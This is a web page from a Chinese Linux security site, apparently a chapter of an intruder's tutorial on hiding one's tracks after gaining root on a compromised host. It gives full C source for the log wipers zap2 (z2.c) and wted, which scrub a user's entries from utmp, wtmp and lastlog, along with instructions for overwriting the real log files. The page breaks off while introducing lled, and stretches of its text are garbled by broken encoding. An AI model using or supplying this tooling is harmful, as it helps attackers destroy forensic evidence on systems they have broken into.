Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

绿色网站无广告
会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

隐藏自己

来源: 未知 分享至:
Zap2 (清除 wtmp/lastlog/utmp记录)

网络上有很多不同的日志清除程序,其中最好的是zap2。我编译后称为z2 在你获得root的访问权后立即运行z2这个程序。现在你比刚才就安全多了。现在再用"w"或"who"命令来查看一下,你已静换岜籾tmp记录了。如果 你要使用 ftp或其它的一些命令你可能就会用到我在本章中提供的另外两个程序 wted 和 lled。
我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修改z2.c,使其包含这些文件的正确路径。
下面是在文件头部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
在有些系统中应该是:
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"

但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目录也是很可能的一个路径。修改好正确的文件路径后,编译这个文件,现在你登录之后运行z2,你就已比较安全了。
这里是c程序:
z2.c
--------------------------- cut here
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!n");
} else
printf("Error.n");
}
--------------------------- cut here


--------------------------------------------------------------------------------

其它脚本程序

我们开始本章的另一部分。我们假设你登录并执行了z2,你需要进行ftp来抓一个文件(记住,象第一章所说的,不要ftp或telent出这个入侵的主 机)。好了,你ftp进入系统抓取几个文件,或登录到系统的其它帐户中,那现在你就要用到wted程序了。 wted程序允许你编紈tmp日志来清除你ftp留下的记录。你也可能要用到lled (编糽astlog日志).
你在修改日志的路径并编译wted程序后,输入 ./wted将会出现下面的菜单。
[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help 帮助
-f Use FILE instead of default 所使用的非默认文件
-a Show all entries found 显示所有的记录
-u Show all entries for USER 显示USER的所有记录
-b Show NULL entries 显示空记录
-e Erase USER completely 完全清除某用户的记录
-c Erase all connections containing HOST 清除从某主机来的所有记录
-z Show ZAP\'d entries ??ê?ó?ZAP′|àí1yμ?????
-x Attempt to remove ZAP\'d entries completely é?3yó?ZAP′|àí1yμ?????
如果你ftp使用的用户名为 tsmith,你应这样使用 wted -x -e tsmith
这个程序将显示用户tsmith登录的一个时间并询问你是否要删除它。在你删除你登录的记录后,记着chmod 644 wtmp.tmp文件然后将其拷贝到日志文件的目录并覆盖岳吹奈募 O笳庋 ?
1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp
下面是wted程序:
重要:记着将char里面文件改成正确的路径。
wted.c
---------------------- cut here
#include <stdio.h>
#include <utmp.h>
#include <time.h>
#include <fcntl.h>
char *file="/var/adm/wtmp";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
{
if(argv[i][0] == \'-\')
{
switch(argv[i][1])
{
case \'b\': printents(""); break;
case \'z\': printents("Z4p"); break;
case \'e\': erase(argv[i+1],0); break;
case \'c\': erase(0,argv[i+1]); break;
case \'f\': file=argv[i+1]; break;
case \'u\': printents(argv[i+1]); break;
case \'a\': printents("*"); break;
case \'x\': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
{
if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%st",ptr->ut_name);
printf("%st",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]=\'\0\';
printf("%st",tmpstr);
printf("%sn",ptr->ut_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (host)
if (strstr(utmp.ut_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
if (name) {
if (strcmp(utmp.ut_name,name)) {cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c=\'a\';
while (c!=\'y\'&&c!=\'n\'&&c!=\'f\') c=getc(stdin);
if (c==\'f\') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c==\'n\') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
if (c==\'y\') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %dn",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %sn",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (utmp.ut_time) {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %dn",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %sn",file);
}
usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOSTn");
printf("t-htThis helpn");
printf("t-ftUse FILE instead of defaultn");
printf("t-atShow all entries foundn");
printf("t-utShow all entries for USERn");
printf("t-btShow NULL entriesn");
printf("t-etErase USER completelyn");
printf("t-ctErase all connections containing HOSTn");
printf("t-ztShow ZAP\'d entriesn");
printf("t-xtAttempt to remove ZAP\'d entries completelyn");
}
---------------------- cut here
你可能还需要清除/vat/adm/lastlog日志。
这要用到lled.c程序。编译这个文件并命名为lled.
你运行lled程序将会出现下面的菜单:
[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help °??ú
-f Use FILE instead of default ê1ó????¨μ????t′úì?è±ê?μ?
-a Show all entries found ??ê?è?2?????

Tags: 隐藏
分享至:
最新图文资讯
1 2 3 4 5 6
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史